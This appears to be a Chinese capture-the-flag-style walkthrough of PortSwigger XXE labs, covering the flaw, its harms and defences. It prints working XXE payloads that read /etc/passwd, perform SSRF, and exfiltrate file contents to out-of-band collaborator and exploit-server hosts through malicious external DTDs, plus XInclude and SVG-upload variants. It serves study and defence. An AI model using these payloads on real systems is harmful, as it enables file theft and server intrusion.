XXE漏洞利用技巧(由简入深)-----portswigger(XXE部分WP)

什么是XXE

XXE(XML External Entity:xml外部实体注入),它出现在使用XML解析器的应用程序中。XXE攻击利用了XML解析器的功能,允许应用程序从外部实体引用加载数据。攻击者可以通过构造恶意的XML实体引用来读取本地文件、执行远程请求或利用其他可用的外部实体来获取敏感信息。

原理

攻击者通过在XML文档中插入恶意的实体引用,诱使应用程序将其解析并加载外部实体。这些外部实体可以是本地文件、远程资源或其他实体。当应用程序解析XML时,如果存在漏洞,它将尝试加载实体的内容并包含在解析过程中。

危害

敏感数据泄露:攻击者可以利用XXE漏洞读取应用程序的敏感数据,如配置文件、密码文件、数据库凭据等。通过构造恶意的实体引用,攻击者可以请求并获取这些敏感信息,从而对系统进行进一步的攻击或滥用。

远程代码执行:在某些情况下,XXE漏洞可以被利用来执行远程代码。攻击者可以构造恶意的实体引用,使应用程序解析并执行外部实体中嵌入的恶意代码。这可能导致服务器被入侵、远程命令执行、拒绝服务攻击等安全问题。

内部资源访问:XXE攻击还可以被用于访问应用程序内部的其他资源。攻击者可以构造实体引用,尝试读取服务器上的文件、访问网络资源或执行其他与应用程序相关的操作。

服务拒绝:通过构造恶意的DTD(Document Type Definition),攻击者可以触发实体扩展攻击,导致内存耗尽或服务拒绝。这会使应用程序无法正常运行或响应其他合法用户的请求。

防御

1、使用安全的XML解析器,如禁用实体解析或限制外部实体的访问权限。
2、验证和过滤输入的XML数据,移除或编码潜在的恶意实体引用。
3、使用白名单验证来限制解析器可以引用的外部实体。
4、避免将用户提供的XML数据与机密信息混合在一起,尤其是在解析XML之前。

具体案例(来源)

利用xxe读取内部文件

基本利用:<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
在这里插入图片描述

利用xxe执行ssrf

<!DOCTYPE test [<!ENTITY xxe SYSTEM "http://172.16.12.1/latest">]>

在这里插入图片描述

带外交互的盲 XXE

<!DOCTYPE stockCheck [ <!ENTITY xxe SYSTEM "http://e4jy5632clemtbljaoi7jyccl3rufn3c.oastify.com"> ]>

在这里插入图片描述
这里未显示,但是在collaborator选项卡可以看到dns和http的回显:
在这里插入图片描述

通过 XML 参数实体进行带外交互的盲 XXE

<!DOCTYPE stockCheck [<!ENTITY % xxe SYSTEM "http://cgwwh4f0ojqk59xhmmu5vwoax13srmfb.oastify.com"> %xxe; ]>

在这里插入图片描述
看collaborator选项卡:
在这里插入图片描述

利用盲 XXE 使用恶意外部 DTD 泄露数据

1、首先复制
在这里插入图片描述
2、粘贴:

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://569p7x5tecgdv2nacfkylpe3nutohh56.oastify.com/?x=%file;'>">
%eval;
%exfil;

3、复制服务器恶意dtd文件
在这里插入图片描述
4、构造payload:

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0ae50065037b32a98298a1b9012c004f.exploit-server.net/exploit"> %xxe;]>

在这里插入图片描述
5、发送后等待数秒
在这里插入图片描述

利用盲 XXE 通过错误消息检索数据

1、首先远程构造

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'file:///invalid/%file;'>">
%eval;
%exfil;

在这里插入图片描述
记住url。
2、构造payload

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0ae500640465e735830aab290124004a.exploit-server.net/exploit"> %xxe;]>

3、放包
在这里插入图片描述

利用 XInclude 检索文件

由于您无法控制整个 XML 文档,因此无法定义 DTD 来发起经典的 XXE 攻击。

若要解决实验室问题,请注入一个 XInclude 语句来检索 /etc/passwd 文件的内容。

默认情况下, XInclude 将尝试将包含的文档解析为 XML。由于不是有效的 XML,因此 /etc/passwd 需要向
XInclude 指令添加额外的属性才能更改此行为。

将 productId 参数的值设置为:

<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>

在这里插入图片描述

通过图像文件上传利用XXE

构造payload:

<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>

制作为.svg格式,上传
在这里插入图片描述

利用 XXE 通过重新调整本地 DTD 的用途来检索数据

构造payload:

<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/93650.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

HTTP协议概述

HTTP 协议定义 HTTP协议&#xff0c;直译为超文本传输协议&#xff0c;是一种用于分布式、协作、超媒体的信息系统的应用协议。HTTP协议是万维网数据通信的基础。HTTP协议在客户端-服务器计算模型中充当请求-响应协议。客户端向服务器提交HTTP请求消息。服务器提供HTML文件和其…

重新理解百度智能云:写在大模型开放后的24小时

在这些回答背后共同折射出的一个现实是——大模型不再是一个单选题&#xff0c;而更是一个综合题。在这个新的时代帆船上&#xff0c;产品、服务、安全、开放等全部都需要成为必需品&#xff0c;甚至是从企业的落地层面来看&#xff0c;这些更是刚需品。 作者| 皮爷 出品|产…

HarmonyOS—使用Web组件加载页面

页面加载是 Web 组件的基本功能。根据页面加载数据来源可以分为三种常用场景&#xff0c;包括加载网络页面、加载本地页面、加载 HTML 格式的富文本数据。 页面加载过程中&#xff0c;若涉及网络资源获取&#xff0c;需要配置ohos.permission.INTERNET网络访问权限。 加载网络…

Ubuntu 22.04安装 —— Win11 22H2

目录 Ubuntu使用下载UbuntuVmware 安装图示安装步骤图示 Ubuntu使用 系统环境&#xff1a; Windows 11 22H2Vmware 17 ProUbutun 22.04.3 Server Ubuntu Server documentation | Ubuntu 下载 Ubuntu 官网下载 建议安装长期支持版本 ——> 可以选择桌面版或服务器版(仅包…

【位运算】leetcode面试题:消失的两个数字

一.题目描述 消失的两个数字 二.思路分析 本题难度标签是困难&#xff0c;但实际上有了只出现一次的数字iii这道题的铺垫&#xff0c;本题的思路还是很容易想到的。 温馨提示&#xff1a;阅读本文前可以先查看我的【位运算】专栏的第一篇文章&#xff0c;其中包含位运算这类…

HarmonyOS/OpenHarmony(Stage模型)应用开发单一手势(二)

三、拖动手势&#xff08;PanGesture&#xff09; .PanGestureOptions(value?:{ fingers?:number; direction?:PanDirection; distance?:number}) 拖动手势用于触发拖动手势事件&#xff0c;滑动达到最小滑动距离&#xff08;默认值为5vp&#xff09;时拖动手势识别成功&am…

学习Bootstrap 5的第一天

目录 Bootstrap 简介 什么是 Bootstrap 5&#xff1f; Bootstrap5 与3 & 4的对比 总体对比&#xff1a; 具体对比&#xff1a; 起源 为什么要使用 Bootstrap&#xff1f; Bootstrap 5 包含的内容 Bootstrap5 实例 Bootstrap5 安装使用 使用 Bootstrap5 CDN 国内…

javacv 基础04-读取mp4,avi等视频文件并截图保存图片到本地

javacv 读取mp4,avi等视频文件并截图保存图片到本地 代码如下&#xff1a; package com.example.javacvstudy;import org.bytedeco.javacv.FFmpegFrameGrabber; import org.bytedeco.javacv.Frame; import org.bytedeco.javacv.Java2DFrameConverter;import javax.imageio.Im…

画流程图都可以用哪些工具?

在日常生活中&#xff0c;我相信我们很多人都看到过流程图。对于设计师来说&#xff0c;它还需要涉及流程图来反映用户的旅程和交互方式。那么你知道哪些流行的流程图设计软件呢&#xff1f;作为高级设计师&#xff0c;我今天推荐10款流程图设计软件。你可以和我一起读这篇文章…

YOLOv5算法改进(12)— 替换主干网络之Swin Transformer

前言&#xff1a;Hello大家好&#xff0c;我是小哥谈。Swin Transformer是一种基于Transformer的深度学习模型&#xff0c;它在视觉任务中表现出色。与之前的Vision Transformer&#xff08;ViT&#xff09;不同&#xff0c;Swin Transformer具有高效和精确的特性&#xff0c;并…

ArcGIS Maps SDK for JS(一):概述与使用

文章目录 1 概述2 如何使用ArcGIS Maps SDK for JavaScript2.1 AMD 模块与 ES 模块2.2 AMD 模块和 ES 模块比较 3 几种安装方式3.1 通过 ArcGIS CDN 获取 AMD 模块3.2 通过 NPM 运行 ES 模块3.3 通过 CDN 获取 ES 模块3.4 本地构建 ES3.5 本地构建 AMD 3 VSCode下载与安装2.1 下…

Qt自定义标题栏

一、创建项目 最终项目文件结构如下 “iconfont.tff”的使用方式见如下博客&#xff0c;用于更改图标颜色Qt更改图标颜色_怎么追摩羯座的博客-CSDN博客 二、MyTitleBar.pro #------------------------------------------------- # # Project created by QtCreator 2023-08-2…